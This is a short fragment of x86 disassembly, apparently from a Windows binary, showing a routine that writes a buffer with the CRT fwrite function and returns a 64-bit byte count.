jg 0x48178f
test esi, esi
je 0x4817a9
mov eax, dword [ebx + 0x4c]
test eax, eax
je 0x4817a9
push eax
push esi
push 1
push ecx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x24]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc